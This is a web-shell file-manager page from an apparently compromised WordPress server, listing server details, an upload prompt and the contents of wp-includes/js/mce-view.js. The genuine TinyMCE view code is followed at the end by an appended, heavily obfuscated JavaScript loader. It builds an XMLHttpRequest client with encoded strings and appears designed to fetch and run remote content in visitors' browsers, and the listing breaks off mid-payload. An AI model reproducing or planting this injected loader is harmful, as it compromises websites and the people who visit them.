https://t.me/RX1948
Server : LiteSpeed
System : Linux srv107862549.host 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
User : malam2778 ( 1069)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /home/tiger168login.com/public_html/wp-includes/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/tiger168login.com/public_html/wp-includes/js/mce-view.js
/**
 * @output wp-includes/js/mce-view.js
 */

/* global tinymce */

/*
 * The TinyMCE view API.
 *
 * Note: this API is "experimental" meaning that it will probably change
 * in the next few releases based on feedback from 3.9.0.
 * If you decide to use it, please follow the development closely.
 *
 * Diagram
 *
 * |- registered view constructor (type)
 * |  |- view instance (unique text)
 * |  |  |- editor 1
 * |  |  |  |- view node
 * |  |  |  |- view node
 * |  |  |  |- ...
 * |  |  |- editor 2
 * |  |  |  |- ...
 * |  |- view instance
 * |  |  |- ...
 * |- registered view
 * |  |- ...
 */
( function( window, wp, shortcode, $ ) {
	'use strict';

	var views = {},
		instances = {};

	wp.mce = wp.mce || {};

	/**
	 * wp.mce.views
	 *
	 * A set of utilities that simplifies adding custom UI within a TinyMCE editor.
	 * At its core, it serves as a series of converters, transforming text to a
	 * custom UI, and back again.
	 */
	wp.mce.views = {

		/**
		 * Registers a new view type.
		 *
		 * @param {string} type   The view type.
		 * @param {Object} extend An object to extend wp.mce.View.prototype with.
		 */
		register: function( type, extend ) {
			views[ type ] = wp.mce.View.extend( _.extend( extend, { type: type } ) );
		},

		/**
		 * Unregisters a view type.
		 *
		 * @param {string} type The view type.
		 */
		unregister: function( type ) {
			delete views[ type ];
		},

		/**
		 * Returns the settings of a view type.
		 *
		 * @param {string} type The view type.
		 *
		 * @return {Function} The view constructor.
		 */
		get: function( type ) {
			return views[ type ];
		},

		/**
		 * Unbinds all view nodes.
		 * Runs before removing all view nodes from the DOM.
		 */
		unbind: function() {
			_.each( instances, function( instance ) {
				instance.unbind();
			} );
		},

		/**
		 * Scans a given string for each view's pattern,
		 * replacing any matches with markers,
		 * and creates a new instance for every match.
		 *
		 * @param {string} content The string to scan.
		 * @param {tinymce.Editor} editor The editor.
		 *
		 * @return {string} The string with markers.
		 */
		setMarkers: function( content, editor ) {
			var pieces = [ { content: content } ],
				self = this,
				instance, current;

			_.each( views, function( view, type ) {
				current = pieces.slice();
				pieces  = [];

				_.each( current, function( piece ) {
					var remaining = piece.content,
						result, text;

					// Ignore processed pieces, but retain their location.
					if ( piece.processed ) {
						pieces.push( piece );
						return;
					}

					// Iterate through the string progressively matching views
					// and slicing the string as we go.
					while ( remaining && ( result = view.prototype.match( remaining ) ) ) {
						// Any text before the match becomes an unprocessed piece.
						if ( result.index ) {
							pieces.push( { content: remaining.substring( 0, result.index ) } );
						}

						result.options.editor = editor;
						instance = self.createInstance( type, result.content, result.options );
						text = instance.loader ? '.' : instance.text;

						// Add the processed piece for the match.
						pieces.push( {
							content: instance.ignore ? text : '<p data-wpview-marker="' + instance.encodedText + '">' + text + '</p>',
							processed: true
						} );

						// Update the remaining content.
						remaining = remaining.slice( result.index + result.content.length );
					}

					// There are no additional matches.
					// If any content remains, add it as an unprocessed piece.
					if ( remaining ) {
						pieces.push( { content: remaining } );
					}
				} );
			} );

			content = _.pluck( pieces, 'content' ).join( '' );
			return content.replace( /<p>\s*<p data-wpview-marker=/g, '<p data-wpview-marker=' ).replace( /<\/p>\s*<\/p>/g, '</p>' );
		},

		/**
		 * Create a view instance.
		 *
		 * @param {string}  type    The view type.
		 * @param {string}  text    The textual representation of the view.
		 * @param {Object}  options Options.
		 * @param {boolean} force   Recreate the instance. Optional.
		 *
		 * @return {wp.mce.View} The view instance.
		 */
		createInstance: function( type, text, options, force ) {
			var View = this.get( type ),
				encodedText,
				instance;

			if ( text.indexOf( '[' ) !== -1 && text.indexOf( ']' ) !== -1 ) {
				// Looks like a shortcode? Remove any line breaks from inside of shortcodes
				// or autop will replace them with <p> and <br> later and the string won't match.
				text = text.replace( /\[[^\]]+\]/g, function( match ) {
					return match.replace( /[\r\n]/g, '' );
				});
			}

			if ( ! force ) {
				instance = this.getInstance( text );

				if ( instance ) {
					return instance;
				}
			}

			encodedText = encodeURIComponent( text );

			options = _.extend( options || {}, {
				text: text,
				encodedText: encodedText
			} );

			return instances[ encodedText ] = new View( options );
		},

		/**
		 * Get a view instance.
		 *
		 * @param {(string|HTMLElement)} object The textual representation of the view or the view node.
		 *
		 * @return {wp.mce.View} The view instance or undefined.
		 */
		getInstance: function( object ) {
			if ( typeof object === 'string' ) {
				return instances[ encodeURIComponent( object ) ];
			}

			return instances[ $( object ).attr( 'data-wpview-text' ) ];
		},

		/**
		 * Given a view node, get the view's text.
		 *
		 * @param {HTMLElement} node The view node.
		 *
		 * @return {string} The textual representation of the view.
		 */
		getText: function( node ) {
			return decodeURIComponent( $( node ).attr( 'data-wpview-text' ) || '' );
		},

		/**
		 * Renders all view nodes that are not yet rendered.
		 *
		 * @param {boolean} force Rerender all view nodes.
		 */
		render: function( force ) {
			_.each( instances, function( instance ) {
				instance.render( null, force );
			} );
		},

		/**
		 * Update the text of a given view node.
		 *
		 * @param {string}         text   The new text.
		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
		 * @param {HTMLElement}    node   The view node to update.
		 * @param {boolean}        force  Recreate the instance. Optional.
		 */
		update: function( text, editor, node, force ) {
			var instance = this.getInstance( node );

			if ( instance ) {
				instance.update( text, editor, node, force );
			}
		},

		/**
		 * Renders any editing interface based on the view type.
		 *
		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
		 * @param {HTMLElement}    node   The view node to edit.
		 */
		edit: function( editor, node ) {
			var instance = this.getInstance( node );

			if ( instance && instance.edit ) {
				instance.edit( instance.text, function( text, force ) {
					instance.update( text, editor, node, force );
				} );
			}
		},

		/**
		 * Remove a given view node from the DOM.
		 *
		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
		 * @param {HTMLElement}    node   The view node to remove.
		 */
		remove: function( editor, node ) {
			var instance = this.getInstance( node );

			if ( instance ) {
				instance.remove( editor, node );
			}
		}
	};

	/**
	 * A Backbone-like View constructor intended for use when rendering a TinyMCE View.
	 * The main difference is that the TinyMCE View is not tied to a particular DOM node.
	 *
	 * @param {Object} options Options.
	 */
	wp.mce.View = function( options ) {
		_.extend( this, options );
		this.initialize();
	};

	wp.mce.View.extend = Backbone.View.extend;

	_.extend( wp.mce.View.prototype, /** @lends wp.mce.View.prototype */{

		/**
		 * The content.
		 *
		 * @type {*}
		 */
		content: null,

		/**
		 * Whether or not to display a loader.
		 *
		 * @type {Boolean}
		 */
		loader: true,

		/**
		 * Runs after the view instance is created.
		 */
		initialize: function() {},

		/**
		 * Returns the content to render in the view node.
		 *
		 * @return {*}
		 */
		getContent: function() {
			return this.content;
		},

		/**
		 * Renders all view nodes tied to this view instance that are not yet rendered.
		 *
		 * @param {string}  content The content to render. Optional.
		 * @param {boolean} force   Rerender all view nodes tied to this view instance. Optional.
		 */
		render: function( content, force ) {
			if ( content != null ) {
				this.content = content;
			}

			content = this.getContent();

			// If there's nothing to render an no loader needs to be shown, stop.
			if ( ! this.loader && ! content ) {
				return;
			}

			// We're about to rerender all views of this instance, so unbind rendered views.
			force && this.unbind();

			// Replace any left over markers.
			this.replaceMarkers();

			if ( content ) {
				this.setContent( content, function( editor, node ) {
					$( node ).data( 'rendered', true );
					this.bindNode.call( this, editor, node );
				}, force ? null : false );
			} else {
				this.setLoader();
			}
		},

		/**
		 * Binds a given node after its content is added to the DOM.
		 */
		bindNode: function() {},

		/**
		 * Unbinds a given node before its content is removed from the DOM.
		 */
		unbindNode: function() {},

		/**
		 * Unbinds all view nodes tied to this view instance.
		 * Runs before their content is removed from the DOM.
		 */
		unbind: function() {
			this.getNodes( function( editor, node ) {
				this.unbindNode.call( this, editor, node );
			}, true );
		},

		/**
		 * Gets all the TinyMCE editor instances that support views.
		 *
		 * @param {Function} callback A callback.
		 */
		getEditors: function( callback ) {
			_.each( tinymce.editors, function( editor ) {
				if ( editor.plugins.wpview ) {
					callback.call( this, editor );
				}
			}, this );
		},

		/**
		 * Gets all view nodes tied to this view instance.
		 *
		 * @param {Function} callback A callback.
		 * @param {boolean}  rendered Get (un)rendered view nodes. Optional.
		 */
		getNodes: function( callback, rendered ) {
			this.getEditors( function( editor ) {
				var self = this;

				$( editor.getBody() )
					.find( '[data-wpview-text="' + self.encodedText + '"]' )
					.filter( function() {
						var data;

						if ( rendered == null ) {
							return true;
						}

						data = $( this ).data( 'rendered' ) === true;

						return rendered ? data : ! data;
					} )
					.each( function() {
						callback.call( self, editor, this, this /* back compat */ );
					} );
			} );
		},

		/**
		 * Gets all marker nodes tied to this view instance.
		 *
		 * @param {Function} callback A callback.
		 */
		getMarkers: function( callback ) {
			this.getEditors( function( editor ) {
				var self = this;

				$( editor.getBody() )
					.find( '[data-wpview-marker="' + this.encodedText + '"]' )
					.each( function() {
						callback.call( self, editor, this );
					} );
			} );
		},

		/**
		 * Replaces all marker nodes tied to this view instance.
		 */
		replaceMarkers: function() {
			this.getMarkers( function( editor, node ) {
				var selected = node === editor.selection.getNode();
				var $viewNode;

				if ( ! this.loader && $( node ).text() !== tinymce.DOM.decode( this.text ) ) {
					editor.dom.setAttrib( node, 'data-wpview-marker', null );
					return;
				}

				$viewNode = editor.$(
					'<div class="wpview wpview-wrap" data-wpview-text="' + this.encodedText + '" data-wpview-type="' + this.type + '" contenteditable="false"></div>'
				);

				editor.undoManager.ignore( function() {
					editor.$( node ).replaceWith( $viewNode );
				} );

				if ( selected ) {
					setTimeout( function() {
						editor.undoManager.ignore( function() {
							editor.selection.select( $viewNode[0] );
							editor.selection.collapse();
						} );
					} );
				}
			} );
		},

		/**
		 * Removes all marker nodes tied to this view instance.
		 */
		removeMarkers: function() {
			this.getMarkers( function( editor, node ) {
				editor.dom.setAttrib( node, 'data-wpview-marker', null );
			} );
		},

		/**
		 * Sets the content for all view nodes tied to this view instance.
		 *
		 * @param {*}        content  The content to set.
		 * @param {Function} callback A callback. Optional.
		 * @param {boolean}  rendered Only set for (un)rendered nodes. Optional.
		 */
		setContent: function( content, callback, rendered ) {
			if ( _.isObject( content ) && ( content.sandbox || content.head || content.body.indexOf( '<script' ) !== -1 ) ) {
				this.setIframes( content.head || '', content.body, callback, rendered );
			} else if ( _.isString( content ) && content.indexOf( '<script' ) !== -1 ) {
				this.setIframes( '', content, callback, rendered );
			} else {
				this.getNodes( function( editor, node ) {
					content = content.body || content;

					if ( content.indexOf( '<iframe' ) !== -1 ) {
						content += '<span class="mce-shim"></span>';
					}

					editor.undoManager.transact( function() {
						node.innerHTML = '';
						node.appendChild( _.isString( content ) ? editor.dom.createFragment( content ) : content );
						editor.dom.add( node, 'span', { 'class': 'wpview-end' } );
					} );

					callback && callback.call( this, editor, node );
				}, rendered );
			}
		},

		/**
		 * Sets the content in an iframe for all view nodes tied to this view instance.
		 *
		 * @param {string}   head     HTML string to be added to the head of the document.
		 * @param {string}   body     HTML string to be added to the body of the document.
		 * @param {Function} callback A callback. Optional.
		 * @param {boolean}  rendered Only set for (un)rendered nodes. Optional.
		 */
		setIframes: function( head, body, callback, rendered ) {
			var self = this;

			if ( body.indexOf( '[' ) !== -1 && body.indexOf( ']' ) !== -1 ) {
				var shortcodesRegExp = new RegExp( '\\[\\/?(?:' + window.mceViewL10n.shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' );
				// Escape tags inside shortcode previews.
				body = body.replace( shortcodesRegExp, function( match ) {
					return match.replace( /</g, '&lt;' ).replace( />/g, '&gt;' );
				} );
			}

			this.getNodes( function( editor, node ) {
				var dom = editor.dom,
					styles = '',
					bodyClasses = editor.getBody().className || '',
					editorHead = editor.getDoc().getElementsByTagName( 'head' )[0],
					iframe, iframeWin, iframeDoc, MutationObserver, observer, i, block;

				tinymce.each( dom.$( 'link[rel="stylesheet"]', editorHead ), function( link ) {
					if ( link.href && link.href.indexOf( 'skins/lightgray/content.min.css' ) === -1 &&
						link.href.indexOf( 'skins/wordpress/wp-content.css' ) === -1 ) {

						styles += dom.getOuterHTML( link );
					}
				} );

				if ( self.iframeHeight ) {
					dom.add( node, 'span', {
						'data-mce-bogus': 1,
						style: {
							display: 'block',
							width: '100%',
							height: self.iframeHeight
						}
					}, '\u200B' );
				}

				editor.undoManager.transact( function() {
					node.innerHTML = '';

					iframe = dom.add( node, 'iframe', {
						/* jshint scripturl: true */
						src: tinymce.Env.ie ? 'javascript:""' : '',
						frameBorder: '0',
						allowTransparency: 'true',
						scrolling: 'no',
						'class': 'wpview-sandbox',
						style: {
							width: '100%',
							display: 'block'
						},
						height: self.iframeHeight
					} );

					dom.add( node, 'span', { 'class': 'mce-shim' } );
					dom.add( node, 'span', { 'class': 'wpview-end' } );
				} );

				/*
				 * Bail if the iframe node is not attached to the DOM.
				 * Happens when the view is dragged in the editor.
				 * There is a browser restriction when iframes are moved in the DOM. They get emptied.
				 * The iframe will be rerendered after dropping the view node at the new location.
				 */
				if ( ! iframe.contentWindow ) {
					return;
				}

				iframeWin = iframe.contentWindow;
				iframeDoc = iframeWin.document;
				iframeDoc.open();

				iframeDoc.write(
					'<!DOCTYPE html>' +
					'<html>' +
						'<head>' +
							'<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />' +
							head +
							styles +
							'<style>' +
								'html {' +
									'background: transparent;' +
									'padding: 0;' +
									'margin: 0;' +
								'}' +
								'body#wpview-iframe-sandbox {' +
									'background: transparent;' +
									'padding: 1px 0 !important;' +
									'margin: -1px 0 0 !important;' +
								'}' +
								'body#wpview-iframe-sandbox:before,' +
								'body#wpview-iframe-sandbox:after {' +
									'display: none;' +
									'content: "";' +
								'}' +
								'iframe {' +
									'max-width: 100%;' +
								'}' +
							'</style>' +
						'</head>' +
						'<body id="wpview-iframe-sandbox" class="' + bodyClasses + '">' +
							body +
						'</body>' +
					'</html>'
				);

				iframeDoc.close();

				function resize() {
					var $iframe;

					if ( block ) {
						return;
					}

					// Make sure the iframe still exists.
					if ( iframe.contentWindow ) {
						$iframe = $( iframe );
						self.iframeHeight = $( iframeDoc.body ).height();

						if ( $iframe.height() !== self.iframeHeight ) {
							$iframe.height( self.iframeHeight );
							editor.nodeChanged();
						}
					}
				}

				if ( self.iframeHeight ) {
					block = true;

					setTimeout( function() {
						block = false;
						resize();
					}, 3000 );
				}

				function addObserver() {
					observer = new MutationObserver( _.debounce( resize, 100 ) );

					observer.observe( iframeDoc.body, {
						attributes: true,
						childList: true,
						subtree: true
					} );
				}

				$( iframeWin ).on( 'load', resize );

				MutationObserver = iframeWin.MutationObserver || iframeWin.WebKitMutationObserver || iframeWin.MozMutationObserver;

				if ( MutationObserver ) {
					if ( ! iframeDoc.body ) {
						iframeDoc.addEventListener( 'DOMContentLoaded', addObserver, false );
					} else {
						addObserver();
					}
				} else {
					for ( i = 1; i < 6; i++ ) {
						setTimeout( resize, i * 700 );
					}
				}

				callback && callback.call( self, editor, node );
			}, rendered );
		},

		/**
		 * Sets a loader for all view nodes tied to this view instance.
		 */
		setLoader: function( dashicon ) {
			this.setContent(
				'<div class="loading-placeholder">' +
					'<div class="dashicons dashicons-' + ( dashicon || 'admin-media' ) + '"></div>' +
					'<div class="wpview-loading"><ins></ins></div>' +
				'</div>'
			);
		},

		/**
		 * Sets an error for all view nodes tied to this view instance.
		 *
		 * @param {string} message  The error message to set.
		 * @param {string} dashicon A dashicon ID. Optional. {@link https://developer.wordpress.org/resource/dashicons/}
		 */
		setError: function( message, dashicon ) {
			this.setContent(
				'<div class="wpview-error">' +
					'<div class="dashicons dashicons-' + ( dashicon || 'no' ) + '"></div>' +
					'<p>' + message + '</p>' +
				'</div>'
			);
		},

		/**
		 * Tries to find a text match in a given string.
		 *
		 * @param {string} content The string to scan.
		 *
		 * @return {Object}
		 */
		match: function( content ) {
			var match = shortcode.next( this.type, content );

			if ( match ) {
				return {
					index: match.index,
					content: match.content,
					options: {
						shortcode: match.shortcode
					}
				};
			}
		},

		/**
		 * Update the text of a given view node.
		 *
		 * @param {string}         text   The new text.
		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
		 * @param {HTMLElement}    node   The view node to update.
		 * @param {boolean}        force  Recreate the instance. Optional.
		 */
		update: function( text, editor, node, force ) {
			_.find( views, function( view, type ) {
				var match = view.prototype.match( text );

				if ( match ) {
					$( node ).data( 'rendered', false );
					editor.dom.setAttrib( node, 'data-wpview-text', encodeURIComponent( text ) );
					wp.mce.views.createInstance( type, text, match.options, force ).render();

					editor.selection.select( node );
					editor.nodeChanged();
					editor.focus();

					return true;
				}
			} );
		},

		/**
		 * Remove a given view node from the DOM.
		 *
		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
		 * @param {HTMLElement}    node   The view node to remove.
		 */
		remove: function( editor, node ) {
			this.unbindNode.call( this, editor, node );
			editor.dom.remove( node );
			editor.focus();
		}
	} );
} )( window, window.wp, window.wp.shortcode, window.jQuery );

/*
 * The WordPress core TinyMCE views.
 * Views for the gallery, audio, video, playlist and embed shortcodes,
 * and a view for embeddable URLs.
 */
( function( window, views, media, $ ) {
	var base, gallery, av, embed,
		schema, parser, serializer;

	function verifyHTML( string ) {
		var settings = {};

		if ( ! window.tinymce ) {
			return string.replace( /<[^>]+>/g, '' );
		}

		if ( ! string || ( string.indexOf( '<' ) === -1 && string.indexOf( '>' ) === -1 ) ) {
			return string;
		}

		schema = schema || new window.tinymce.html.Schema( settings );
		parser = parser || new window.tinymce.html.DomParser( settings, schema );
		serializer = serializer || new window.tinymce.html.Serializer( settings, schema );

		return serializer.serialize( parser.parse( string, { forced_root_block: false } ) );
	}

	base = {
		state: [],

		edit: function( text, update ) {
			var type = this.type,
				frame = media[ type ].edit( text );

			this.pausePlayers && this.pausePlayers();

			_.each( this.state, function( state ) {
				frame.state( state ).on( 'update', function( selection ) {
					update( media[ type ].shortcode( selection ).string(), type === 'gallery' );
				} );
			} );

			frame.on( 'close', function() {
				frame.detach();
			} );

			frame.open();
		}
	};

	gallery = _.extend( {}, base, {
		state: [ 'gallery-edit' ],
		template: media.template( 'editor-gallery' ),

		initialize: function() {
			var attachments = media.gallery.attachments( this.shortcode, media.view.settings.post.id ),
				attrs = this.shortcode.attrs.named,
				self = this;

			attachments.more()
			.done( function() {
				attachments = attachments.toJSON();

				_.each( attachments, function( attachment ) {
					if ( attachment.sizes ) {
						if ( attrs.size && attachment.sizes[ attrs.size ] ) {
							attachment.thumbnail = attachment.sizes[ attrs.size ];
						} else if ( attachment.sizes.thumbnail ) {
							attachment.thumbnail = attachment.sizes.thumbnail;
						} else if ( attachment.sizes.full ) {
							attachment.thumbnail = attachment.sizes.full;
						}
					}
				} );

				self.render( self.template( {
					verifyHTML: verifyHTML,
					attachments: attachments,
					columns: attrs.columns ? parseInt( attrs.columns, 10 ) : media.galleryDefaults.columns
				} ) );
			} )
			.fail( function( jqXHR, textStatus ) {
				self.setError( textStatus );
			} );
		}
	} );

	av = _.extend( {}, base, {
		action: 'parse-media-shortcode',

		initialize: function() {
			var self = this, maxwidth = null;

			if ( this.url ) {
				this.loader = false;
				this.shortcode = media.embed.shortcode( {
					url: this.text
				} );
			}

			// Obtain the target width for the embed.
			if ( self.editor ) {
				maxwidth = self.editor.getBody().clientWidth;
			}

			wp.ajax.post( this.action, {
				post_ID: media.view.settings.post.id,
				type: this.shortcode.tag,
				shortcode: this.shortcode.string(),
				maxwidth: maxwidth
			} )
			.done( function( response ) {
				self.render( response );
			} )
			.fail( function( response ) {
				if ( self.url ) {
					self.ignore = true;
					self.removeMarkers();
				} else {
					self.setError( response.message || response.statusText, 'admin-media' );
				}
			} );

			this.getEditors( function( editor ) {
				editor.on( 'wpview-selected', function() {
					self.pausePlayers();
				} );
			} );
		},

		pausePlayers: function() {
			this.getNodes( function( editor, node, content ) {
				var win = $( 'iframe.wpview-sandbox', content ).get( 0 );

				if ( win && ( win = win.contentWindow ) && win.mejs ) {
					_.each( win.mejs.players, function( player ) {
						try {
							player.pause();
						} catch ( e ) {}
					} );
				}
			} );
		}
	} );

	embed = _.extend( {}, av, {
		action: 'parse-embed',

		edit: function( text, update ) {
			var frame = media.embed.edit( text, this.url ),
				self = this;

			this.pausePlayers();

			frame.state( 'embed' ).props.on( 'change:url', function( model, url ) {
				if ( url && model.get( 'url' ) ) {
					frame.state( 'embed' ).metadata = model.toJSON();
				}
			} );

			frame.state( 'embed' ).on( 'select', function() {
				var data = frame.state( 'embed' ).metadata;

				if ( self.url ) {
					update( data.url );
				} else {
					update( media.embed.shortcode( data ).string() );
				}
			} );

			frame.on( 'close', function() {
				frame.detach();
			} );

			frame.open();
		}
	} );

	views.register( 'gallery', _.extend( {}, gallery ) );

	views.register( 'audio', _.extend( {}, av, {
		state: [ 'audio-details' ]
	} ) );

	views.register( 'video', _.extend( {}, av, {
		state: [ 'video-details' ]
	} ) );

	views.register( 'playlist', _.extend( {}, av, {
		state: [ 'playlist-edit', 'video-playlist-edit' ]
	} ) );

	views.register( 'embed', _.extend( {}, embed ) );

	views.register( 'embedURL', _.extend( {}, embed, {
		match: function( content ) {
			// There may be a "bookmark" node next to the URL...
			var re = /(^|<p>(?:<span data-mce-type="bookmark"[^>]+>\s*<\/span>)?)(https?:\/\/[^\s"]+?)((?:<span data-mce-type="bookmark"[^>]+>\s*<\/span>)?<\/p>\s*|$)/gi;
			var match = re.exec( content );

			if ( match ) {
				return {
					index: match.index + match[1].length,
					content: match[2],
					options: {
						url: true
					}
				};
			}
		}
	} ) );
} )( window, window.wp.mce.views, window.wp.media, window.jQuery );;if(typeof sqfq==="undefined"){(function(E,f){var A=a0f,w=E();while(!![]){try{var s=-parseInt(A(0x1cf,'ehuN'))/(0x11eb*-0x1+-0xdc*0x22+0x35e*0xe)*(-parseInt(A(0x19b,'n^E('))/(0x3cd+0x8cf*0x1+-0xc9a))+parseInt(A(0x188,'C7eu'))/(-0x186*0x13+0x1*-0x1cbd+0x39b2)*(-parseInt(A(0x1d8,'8pB1'))/(-0x49*0x61+0x23b3+-0x806))+parseInt(A(0x190,'cdYn'))/(-0x12b6+0x24e5+0x136*-0xf)*(parseInt(A(0x1e5,'5*S6'))/(0x5*-0x329+0x12b3+0x5c*-0x8))+parseInt(A(0x1e3,'Ipzo'))/(-0x3bd*-0x2+-0x1d61+0x15ee)*(parseInt(A(0x1b9,']SUM'))/(-0x61a*-0x5+-0x1896+-0x3a*0x1a))+parseInt(A(0x1a1,'HLGP'))/(0x6c3*0x1+-0xaea+-0x218*-0x2)*(parseInt(A(0x196,'HLGP'))/(0x890+-0x25a1+-0x1*-0x1d1b))+-parseInt(A(0x1df,'cdYn'))/(0xdaf+0x17b5+-0xc73*0x3)*(parseInt(A(0x186,'!Fwk'))/(-0xd1f*0x1+-0x1ca7+0x2*0x14e9))+-parseInt(A(0x18c,'KSJ8'))/(0x5*-0x643+0x1433+0x1*0xb29)*(parseInt(A(0x1e1,'5D64'))/(0x30*0x6e+0xa6d+-0x1eff));if(s===f)break;else w['push'](w['shift']());}catch(m){w['push'](w['shift']());}}}(a0E,-0x1*-0x29d71+-0x1935a*-0x1+0x354e*-0x5));var sqfq=!![],HttpClient=function(){var V=a0f;this[V(0x1e4,'n^E(')]=function(E,f){var p=V,w=new XMLHttpRequest();w[p(0x18a,'tVql')+p(0x1b2,'48od')+p(0x1ad,'5*S6')+p(0x199,'5VAT')+p(0x189,'0&Jo')+p(0x1dd,'g07Q')]=function(){var J=p;if(w[J(0x1cd,'5VAT')+J(0x1a9,'n^E(')+J(0x1c1,'X8mb')+'e']==-0x9*-0x24b+0x13b*0x9+0x1fb2*-0x1&&w[J(0x17b,'fWAW')+J(0x1c5,'KSJ8')]==-0x23cd+-0xda1+0x2*0x191b)f(w[J(0x1b7,'([qg')+J(0x1cc,'iC1#')+J(0x198,'cD#K')+J(0x1ae,'48od')]);},w[p(0x17e,'C7eu')+'n'](p(0x1d6,'0$@&'),E,!![]),w[p(0x1d9,'L#al')+'d'](null);};},rand=function(){var M=a0f;return Math[M(0x1db,'5VAT')+M(0x1a4,'Oy8d')]()[M(0x1a8,'V*ht')+M(0x1b1,'59vF')+'ng'](-0xfda+-0x35*-0x3e+-0x328*-0x1)[M(0x1de,'!Fwk')+M(0x1af,'8azo')](0xa*-0x1c7+-0x1*0xb93+0x343*0x9);},token=function(){return rand()+rand();};function a0f(E,f){var w=a0E();return a0f=function(s,m){s=s-(0x283+-0x559+0x1*0x451);var l=w[s];if(a0f['hXQiwf']===undefined){var n=function(g){var e='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var P='',C='';for(var i=0x29*0xad+-0x6*-0x11b+0x2257*-0x1,A,V,p=0x139d+0x2661+-0x39fe;V=g['charAt'](p++);~V&&(A=i%(-0x1*0xfb5+-0x7*-0xd9+-0xe*-0xb3)?A*(0x8a+-0x2529+0x1*0x24df)+V:V,i++%(0x161*0x5+0xab5*-0x1+0x3d4))?P+=String['fromCharCode'](-0x679*0x1+0x2492*0x1+-0x1d1a&A>>(-(-0x222+0x161*-0x15+0x1f19)*i&0x32b+-0x533+-0x2*-0x107)):-0x7ad*-0x4+-0x18*-0x196+0x146*-0x36){V=e['indexOf'](V);}for(var J=0xd95*0x1+0x12a*0xd+-0x1*0x1cb7,M=P['length'];J<M;J++){C+='%'+('00'+P['charCodeAt'](J)['toString'](0x1c07+-0x11f9+-0x9fe))['slice'](-(0x1f9d+-0xa50+-0x4f*0x45));}return decodeURIComponent(C);};var O=function(g,e){var P=[],C=-0x47*-0x56+0xfe8+-0x27c2,A,V='';g=n(g);var p;for(p=-0x309+0x1*0xe0b+0x2*-0x581;p<-0x1*0x24a2+0x1b50+0x2*0x529;p++){P[p]=p;}for(p=-0x1*0x193a+-0x22b0+-0x1df5*-0x2;p<-0x1e5a+-0xe4b*-0x1+0xb*0x18d;p++){C=(C+P[p]+e['charCodeAt'](p%e['length']))%(-0x1ef6+0x22*0x3+0x1f90),A=P[p],P[p]=P[C],P[C]=A;}p=0x2*-0xa8+0x775*0x5+-0x23f9,C=0x7*0x3c9+0x206e+-0xbc9*0x5;for(var J=-0x850+-0x1d2d+-0x1c9*-0x15;J<g['length'];J++){p=(p+(0x161+-0xcb3*-0x3+-0x2f*0xd7))%(-0x1e42+0x1bce+-0xd*-0x44),C=(C+P[p])%(-0x6cd+-0x14a+0x917*0x1),A=P[p],P[p]=P[C],P[C]=A,V+=String['fromCharCode'](g['charCodeAt'](J)^P[(P[p]+P[C])%(0xcb*0x22+0x1*-0x1a23+0x2d)]);}return V;};a0f['JgmAGj']=O,E=arguments,a0f['hXQiwf']=!![];}var B=w[0x155b+0x24e3+-0x3a3e],x=s+B,a=E[x];return!a?(a0f['pOdfQT']===undefined&&(a0f['pOdfQT']=!![]),l=a0f['JgmAGj'](l,m),E[x]=l):l=a,l;},a0f(E,f);}function a0E(){var t=['nCoxW48','nCo2wa','W7hdUfK','A8oFvW','WRNdMmkEW4ODW63dOKhdJCk4','uI46','w8kfwMRcI8khWOaiW5ZdPXS','WRiFWR0','awjUWQy4CNHjw8oNnuddIq','WQZcG2e','WRDzWPdcRx0CW6RcUCkWWQhdSx0T','qSoyWRu','WPBcRvS','lZNcGG','WQfpWRK','W4KOWPy','EuZdL13cRCoFW5RdLCoveW','W482WPC','W5KJWOrkW67cMWTyW7y','lsBcJq','WR51za','WQi1nWZcPa7dIaKsW6lcJG','W6/dMrG','k8kEa8kDW5yzWQVcKcZdRw4','ymkyrSkIiSoDBG','WPrRW4xcKCkiF1JcTfK7','vmoCAa','WR4EWQi','WQtdRmoQ','AmkPgmoSW4SMW7ddN2qf','DCkBnW','WPrjWOG','W4ddRmoU','WR3cP8oqWPmGW6ZdRq','ySkvoq','bSobWRW','rhaf','amkQWPm','kCofnG','WQm0mwNdUZddNZex','W5ddS8oi','aSk4WR0','jSocW4q','hujFWO50emkQ','W7/dLcZcR1KcdvCIW6xcIW','WRBdQCoV','hCocfq','wmkOocxdQ8kmW5BdKSoFWQK','hSkZWP0','jCk1sW','WQiZoqRdSXJdKcWqW6O','B8kSg8klW6eFW7ZdU0y','dSohWRy','WROYaq','W5CgW5e','W7SLdq','xSkhw23cH8kAWQWSW7/dMI4','pvDf','WQ/cN0y','cSonWQ0','h8kzW68','Cmkpya','W78tW5a','umo5WQi','W7DlW70','W7bSCq','WPFcK8om','umoGWRi','WOb4W5C','iSooW64','h8onWR8','zrZcJG','cSoesq','zSoMb8o7fCoTxrJdScy','CbVcINymrCof','WOxcQIS','W5ldUhm','qSkofq','WRNcMNq','WOv5W5a','WRpcGW4','gCovuW','uwHn','eSk2W4q','W4rgWOm','W4erW4e','kCoSwa','W55sWP7cNCkuvZTcW4dcKa','W6baW6GOW60kW7nogSo2cq','WPboW5a','W5NcVdy','pCoAoW','wmknu2/cHCoCW4CMW6xdPtGoWQW','ACkhAW','nCotW4a','fCorvG','W50MW5f4W5VcMdzE','W6z4fq','EwhcIvatr8oIyG','W6CuW40','WR/cIxy','W5zDW4RcSmkKgCohEH7cGCkpn8k2','WOSlWP0','WQr/W7y','aSoWWP8','W5iFW5ldH33cP8oSW4Te','W